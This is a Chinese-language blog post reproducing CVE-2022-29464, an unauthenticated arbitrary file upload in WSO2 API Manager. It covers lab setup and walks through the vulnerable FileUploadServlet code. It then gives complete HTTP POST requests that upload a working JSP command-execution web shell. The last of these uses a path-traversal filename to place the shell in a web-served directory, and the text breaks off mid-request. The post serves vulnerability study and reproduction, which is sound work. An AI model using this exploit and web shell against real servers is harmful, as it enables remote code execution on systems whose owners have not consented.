原创 <span>PeiQi文库</span> <span>2022-04-25 11:06</span> <span style="display: inline-block;"></span>
</p>

<p>WSO2 fileupload 任意文件上传漏洞 CVE-2022-29464</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6af73eed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTATdm08ic8Z5MibwLpv0rbPibqg25004gYghRIFoKtG4l5FfzBNMJ1wrhQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="475" data-backw="474" data-ratio="1" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4abfa1d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTzZgiav6umOmHgsWv4Hvh3zhgl0qJvSQKfNNic9ZKCRO7SX82jQiaNSHcw%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="202" data-backw="474" data-ratio="0.4257142857142857" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1050" src="https://wechat2rss.xlab.app/img-proxy/?k=e1f47ecb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTQWO33O5iaK0xEwKqKryoZlC9yoDQIKgrmFGSWNL9EQWibxFkEvmZXsSg%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞描述</span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">CVE-2022-29464 是 Orange Tsai发现的 WSO2 上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传，允许未经身份验证的攻击者通过上传恶意 JSP 文件在 WSO2 服务器上获得 RCE。</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞影响</span></h2><p style="text-align: center;margin-bottom: 0em;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-backh="139" data-backw="538" data-galleryid="" data-ratio="0.2572402044293015" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1174" src="https://wechat2rss.xlab.app/img-proxy/?k=e48d2d9b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el5Tok5vz2usdSNcW1T4PC5rXrAJEVZbabiaBgibVciamUP832zRlA8boO3QKnUzLNFQcsn2icb0PDdHJw%2F640%3Fwx_fmt%3Dpng"/></p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">环境搭建</span><br/></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;"><a href="https://github.com/wso2/product-apim/releases/download/v4.0.0/wso2am-4.0.0.zip" target="_blank">https://github.com/wso2/product-apim/releases/download/v4.0.0/wso2am-4.0.0.zip</a>
<a href="https://github.com/wso2/product-apim/archive/refs/tags/v4.0.0.zip" target="_blank">https://github.com/wso2/product-apim/archive/refs/tags/v4.0.0.zip</a></p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞复现</span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">下载 releases 后进入 bin目录, 执行 api.manager.sh文件，并开启 debug 方便远程调试</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="129" data-backw="457" data-ratio="0.2809558291093411" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="2762" src="https://wechat2rss.xlab.app/img-proxy/?k=9ffc6c0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el5Tok5vz2usdSNcW1T4PC5rrZ8DrR5fWYgYhoa4zCbpce4Fm4EaFfgBJmV6Le9Hv2MR0P1ibuFpmsg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">打开 product-apim-4.0.0 ，下载依赖，连接Debug进行调试分析</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="256" data-backw="457" data-ratio="0.5589714924538849" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3578" src="https://wechat2rss.xlab.app/img-proxy/?k=593c7755&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el5Tok5vz2usdSNcW1T4PC5raJniczGpw3licFvq3k3nxtd4OkV9ku7pVoK8YvLicK0jRWJjeZtlgZ7Ew%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">运行后访问 localhost:9443 出现如下即搭建完成</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="242" data-backw="457" data-ratio="0.5282280603689212" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3578" src="https://wechat2rss.xlab.app/img-proxy/?k=6c890e22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el5Tok5vz2usdSNcW1T4PC5rAEicen2cibAyL9Tc7LnskichjNCkyliciagHsvpVS93Jqxf7hPUyyexHkMw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">在配置文件 identity.xml 中我们可以看到 路由 <strong style="font-weight: border;color: #0e88eb;">/fileupload</strong> 中不存在权限鉴定,  对应的 <strong style="font-weight: border;color: #0e88eb;">Servlet 为 FileUploadServlet</strong></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="256" data-backw="457" data-ratio="0.558412520961431" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3578" src="https://wechat2rss.xlab.app/img-proxy/?k=8c67793f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el5Tok5vz2usdSNcW1T4PC5rBMB9eMWIxKSyp5neTibPl193ebwWgno6icSibWby3xRmKTdowsCesq40A%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">文件上传为POST请求，对应的处理方法为 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">doPost (org.wso2.carbon.ui.transports.FileUploadServlet#doPost)</code></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">protected</span> <span style="color: #a626a4;line-height: 26px;">void</span> <span style="color: #4078f2;line-height: 26px;">doPost</span><span style="line-height: 26px;">(HttpServletRequest request,<br/>                          HttpServletResponse response)</span> <span style="color: #a626a4;line-height: 26px;">throws</span> ServletException, IOException </span>{<br/>        <span style="color: #a626a4;line-height: 26px;">try</span> {<br/>            fileUploadExecutorManager.execute(request, response);<br/>        } <span style="color: #a626a4;line-height: 26px;">catch</span> (Exception e) {<br/>            String msg = <span style="color: #50a14f;line-height: 26px;">&#34;File upload failed &#34;</span>;<br/>            log.error(msg, e);<br/>            <span style="color: #a626a4;line-height: 26px;">throw</span> <span style="color: #a626a4;line-height: 26px;">new</span> ServletException(e);<br/>        }<br/>    }<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">继续向下，略过调用方法的过程</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">execute:<span style="color: #986801;line-height: 26px;">55</span>, ToolsAnyFileUploadExecutor (org.wso2.carbon.ui.transports.fileupload)<br/>executeGeneric:<span style="color: #986801;line-height: 26px;">104</span>, AbstractFileUploadExecutor (org.wso2.carbon.ui.transports.fileupload)<br/>execute:<span style="color: #986801;line-height: 26px;">436</span>, FileUploadExecutorManager$CarbonXmlFileUploadExecHandler (org.wso2.carbon.ui.transports.fileupload)<br/>startExec:<span style="color: #986801;line-height: 26px;">320</span>, FileUploadExecutorManager$FileUploadExecutionHandlerManager (org.wso2.carbon.ui.transports.fileupload)<br/>execute:<span style="color: #986801;line-height: 26px;">127</span>, FileUploadExecutorManager (org.wso2.carbon.ui.transports.fileupload)<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="259" data-backw="457" data-ratio="0.5658482142857143" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3584" src="https://wechat2rss.xlab.app/img-proxy/?k=7c2cfb34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el5Tok5vz2usdSNcW1T4PC5rO4NFdkiasl9zXZCAxibM9R26FR8MFdahLKl7FibXhMXhMWhOu0zzFpYNQ%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="259" data-backw="457" data-ratio="0.5658482142857143" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3584" src="https://wechat2rss.xlab.app/img-proxy/?k=8947a6aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el5Tok5vz2usdSNcW1T4PC5rYgjq9ud7FFURf40TXnibtslS7ySTlOQiaicCc9zSVqNvyXzKVX5fou2ibg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">最后来到出现漏洞的位置 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor#execute</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">这里我们构造请求包，上传文件</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">POST /fileupload/toolsAny HTTP/1.1<br/>Host: localhost:9443<br/>Accept: */*<br/>Accept-Encoding: gzip, deflate<br/>Content-Length: 729<br/>Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0<br/>User-Agent: python-requests/2.22.0<br/>--4ef9f369a86bfaadf5ec3177278d49c0<br/>Content-Disposition: form-data; name=&#34;1.jsp&#34;; filename=&#34;1.jsp&#34;<br/><span style="line-height: 26px;">&lt;<span style="color: #e45649;line-height: 26px;">FORM</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e45649;line-height: 26px;">INPUT</span> <span style="color: #986801;line-height: 26px;">name</span>=<span style="color: #50a14f;line-height: 26px;">&#39;cmd&#39;</span> <span style="color: #986801;line-height: 26px;">type</span>=<span style="color: #50a14f;line-height: 26px;">text</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e45649;line-height: 26px;">INPUT</span> <span style="color: #986801;line-height: 26px;">type</span>=<span style="color: #50a14f;line-height: 26px;">submit</span> <span style="color: #986801;line-height: 26px;">value</span>=<span style="color: #50a14f;line-height: 26px;">&#39;Run&#39;</span>&gt;</span><br/><span style="line-height: 26px;">&lt;/<span style="color: #e45649;line-height: 26px;">FORM</span>&gt;</span><br/><span style="line-height: 26px;">&lt;<span style="color: #e45649;line-height: 26px;">%@</span> <span style="color: #986801;line-height: 26px;">page</span> <span style="color: #986801;line-height: 26px;">import</span>=<span style="color: #50a14f;line-height: 26px;">&#34;java.io.*&#34;</span> %&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e45649;line-height: 26px;">%</span><br/>    <span style="color: #986801;line-height: 26px;">String</span> <span style="color: #986801;line-height: 26px;">cmd</span> = <span style="color: #50a14f;line-height: 26px;">request.getParameter(</span>&#34;<span style="color: #986801;line-height: 26px;">cmd</span>&#34;);<br/>    <span style="color: #986801;line-height: 26px;">String</span> <span style="color: #986801;line-height: 26px;">output</span> = <span style="color: #50a14f;line-height: 26px;">&#34;&#34;</span>;<br/>    <span style="color: #986801;line-height: 26px;">if</span>(<span style="color: #986801;line-height: 26px;">cmd</span> != <span style="color: #50a14f;line-height: 26px;">null)</span> {<br/>        <span style="color: #986801;line-height: 26px;">String</span> <span style="color: #986801;line-height: 26px;">s</span> = <span style="color: #50a14f;line-height: 26px;">null;</span><br/>        <span style="color: #986801;line-height: 26px;">try</span> {<br/>            <span style="color: #986801;line-height: 26px;">Process</span> <span style="color: #986801;line-height: 26px;">p</span> = <span style="color: #50a14f;line-height: 26px;">Runtime.getRuntime().exec(cmd,null,null);</span><br/>            <span style="color: #986801;line-height: 26px;">BufferedReader</span> <span style="color: #986801;line-height: 26px;">sI</span> = <span style="color: #50a14f;line-height: 26px;">new</span> <span style="color: #986801;line-height: 26px;">BufferedReader</span>(<span style="color: #986801;line-height: 26px;">new</span><br/><span style="color: #986801;line-height: 26px;">InputStreamReader</span>(<span style="color: #986801;line-height: 26px;">p.getInputStream</span>()));<br/>            <span style="color: #986801;line-height: 26px;">while</span>((<span style="color: #986801;line-height: 26px;">s</span> = <span style="color: #50a14f;line-height: 26px;">sI.readLine())</span> != <span style="color: #50a14f;line-height: 26px;">null)</span> { <span style="color: #986801;line-height: 26px;">output</span> += <span style="color: #50a14f;line-height: 26px;">s+</span>&#34;&lt;/<span style="color: #986801;line-height: 26px;">br</span>&gt;</span>&#34;; }<br/>        }  catch(IOException e) {   e.printStackTrace();   }<br/>    }<br/>%&gt;<br/>        <span style="line-height: 26px;">&lt;<span style="color: #e45649;line-height: 26px;">pre</span>&gt;&lt;<span style="color: #e45649;line-height: 26px;">%=output</span> %&gt;&lt;/<span style="color: #e45649;line-height: 26px;">pre</span>&gt;</span><br/>--4ef9f369a86bfaadf5ec3177278d49c0--<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="231" data-backw="457" data-ratio="0.5056095736724009" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="2674" src="https://wechat2rss.xlab.app/img-proxy/?k=1972a782&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el5Tok5vz2usdSNcW1T4PC5rNmAsBcaibD6jF86c6YzAwM0l3uXoIQvFh7xjkbRld9PzQlHrSSUazpg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">上传时文件名为 1.jsp，成功上传目标会返回 uuid 值, 调试过程中我们可以发现文件被上传在某个目录下</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="259" data-backw="457" data-ratio="0.5658482142857143" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3584" src="https://wechat2rss.xlab.app/img-proxy/?k=7c068de5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el5Tok5vz2usdSNcW1T4PC5rZyyAr8ib2icyfyXI9wqeCeBYWm0AAicbR3pNUOHUbO0NDyLdA0VVQTYmQ%2F640%3Fwx_fmt%3Dpng"/></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a626a4;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">class</span> <span style="color: #c18401;line-height: 26px;">ToolsAnyFileUploadExecutor</span> <span style="color: #a626a4;line-height: 26px;">extends</span> <span style="color: #c18401;line-height: 26px;">AbstractFileUploadExecutor</span> </span>{<br/> <span style="color: #4078f2;line-height: 26px;">@Override</span><br/> <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">public</span> <span style="color: #a626a4;line-height: 26px;">boolean</span> <span style="color: #4078f2;line-height: 26px;">execute</span><span style="line-height: 26px;">(HttpServletRequest request,<br/>   HttpServletResponse response)</span> <span style="color: #a626a4;line-height: 26px;">throws</span> CarbonException, IOException </span>{<br/>  PrintWriter out = response.getWriter();<br/>        <span style="color: #a626a4;line-height: 26px;">try</span> {<br/>         Map fileResourceMap =<br/>                (Map) configurationContext<br/>                        .getProperty(ServerConstants.FILE_RESOURCE_MAP);<br/>         <span style="color: #a626a4;line-height: 26px;">if</span> (fileResourceMap == <span style="color: #a626a4;line-height: 26px;">null</span>) {<br/>          fileResourceMap = <span style="color: #a626a4;line-height: 26px;">new</span> TreeBidiMap();<br/>          configurationContext.setProperty(ServerConstants.FILE_RESOURCE_MAP,<br/>                                             fileResourceMap);<br/>         }<br/>            List&lt;FileItemData&gt; fileItems = getAllFileItems();<br/>            <span style="color: #a0a1a7;font-style: italic;line-height: 26px;">//String filePaths = &#34;&#34;;</span><br/>            <span style="color: #a626a4;line-height: 26px;">for</span> (FileItemData fileItem : fileItems) {<br/>                String uuid = String.valueOf(<br/>                        System.currentTimeMillis() + Math.random());<br/>                String serviceUploadDir =<br/>                        configurationContext<br/>                                .getProperty(ServerConstants.WORK_DIR) +<br/>                                File.separator +<br/>                                <span style="color: #50a14f;line-height: 26px;">&#34;extra&#34;</span> + File<br/>                                .separator +<br/>                                uuid + File.separator;<br/>                File dir = <span style="color: #a626a4;line-height: 26px;">new</span> File(serviceUploadDir);<br/>                <span style="color: #a626a4;line-height: 26px;">if</span> (!dir.exists()) {<br/>                    dir.mkdirs();<br/>                }<br/>                File uploadedFile = <span style="color: #a626a4;line-height: 26px;">new</span> File(dir, fileItem.getFileItem().getFieldName());<br/>                <span style="color: #a626a4;line-height: 26px;">try</span> (FileOutputStream fileOutStream = <span style="color: #a626a4;line-height: 26px;">new</span> FileOutputStream(uploadedFile)) {<br/>                    fileItem.getDataHandler().writeTo(fileOutStream);<br/>                    fileOutStream.flush();<br/>                }<br/>                response.setContentType(<span style="color: #50a14f;line-height: 26px;">&#34;text/plain; charset=utf-8&#34;</span>);<br/>                <span style="color: #a0a1a7;font-style: italic;line-height: 26px;">//filePaths = filePaths + uploadedFile.getAbsolutePath() + &#34;,&#34;;</span><br/>                fileResourceMap.put(uuid, uploadedFile.getAbsolutePath());<br/>                out.write(uuid);<br/>            }<br/>            <span style="color: #a0a1a7;font-style: italic;line-height: 26px;">//filePaths = filePaths.substring(0, filePaths.length() - 1);</span><br/>            <span style="color: #a0a1a7;font-style: italic;line-height: 26px;">//out.write(filePaths);</span><br/>            out.flush();<br/>        } <span style="color: #a626a4;line-height: 26px;">catch</span> (Exception e) {<br/>            log.error(<span style="color: #50a14f;line-height: 26px;">&#34;File upload FAILED&#34;</span>, e);<br/>            out.write(<span style="color: #50a14f;line-height: 26px;">&#34;&lt;script type=\&#34;text/javascript\&#34;&gt;&#34;</span> +<br/>                    <span style="color: #50a14f;line-height: 26px;">&#34;top.wso2.wsf.Util.alertWarning(&#39;File upload FAILED. File may be non-existent or invalid.&#39;);&#34;</span> +<br/>                    <span style="color: #50a14f;line-height: 26px;">&#34;&lt;/script&gt;&#34;</span>);<br/>        } <span style="color: #a626a4;line-height: 26px;">finally</span> {<br/>            out.close();<br/>        }<br/>        <span style="color: #a626a4;line-height: 26px;">return</span> <span style="color: #a626a4;line-height: 26px;">true</span>;<br/> }<br/>}<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="108" data-backw="457" data-ratio="0.23617693522906794" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="2532" src="https://wechat2rss.xlab.app/img-proxy/?k=322f2973&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el5Tok5vz2usdSNcW1T4PC5rh92w291HWHVpltZv7B6GTzROaszUeYE6Zel1Nky4rrMYTicQUPeNCIQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">但文件名是我们可控的，拼接的过程中我们通过控制文件名遍历目录，将文件上传到我们需要的位置,  查找可以解析 jsp文件的目录</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="116" data-backw="457" data-ratio="0.2522281639928699" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="2244" src="https://wechat2rss.xlab.app/img-proxy/?k=5ea7d049&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el5Tok5vz2usdSNcW1T4PC5rERSJqghCG9yk5NkSqmGHjMew0QW0zBMAN3zmAAOv503OwvPkhsu5aQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">构造请求包，通过控制文件名的方法上传至该目录中</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">POST /fileupload/toolsAny HTTP/1.1<br/>Host: localhost:9443<br/>Accept: */*<br/>Accept-Encoding: gzip, deflate<br/>Content-Length: 729<br/>Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0<br/>User-Agent: python-requests/2.22.0<br/>--4ef9f369a86bfaadf5ec3177278d49c0<br/>Content-Disposition: form-data; name=&#34;../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp&#34;; filename=&#34;../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp&#34;<br/><span style="line-height: 26px;">&lt;<span style="color: #e45649;line-height: 26px;">FORM</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e45649;line-height: 26px;">INPUT</span> <span style="color: #986801;line-height: 26px;">name</span>=<span style="color: #50a14f;line-height: 26px;">&#39;cmd&#39;</span> <span style="color: #986801;line-height: 26px;">type</span>=<span style="color: #50a14f;line-height: 26px;">text</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e45649;line-height: 26px;">INPUT</span> <span style="color: #986801;line-height: 26px;">type</span>=<span style="color: #50a14f;line-height: 26px;">submit</span> <span style="color: #986801;line-height: 26px;">value</span>=<span style="color: #50a14f;line-height: 26px;">&#39;Run&#39;</span>&gt;</span><br/><span style="line-height: 26px;">&lt;/<span style="color: #e45649;line-height: 26px;">FORM</span>&gt;</span><br/><span style="line-height: 26px;">&lt;<span style="color: #e45649;line-height: 26px;">%@</span> <span style="color: #986801;line-height: 26px;">page</span> <span style="color: #986801;line-height: 26px;">import</span>=<span style="color: #50a14f;line-height: 26px;">&#34;java.io.*&#34;</span> %&gt;</span><br/>    <span style="line-height: 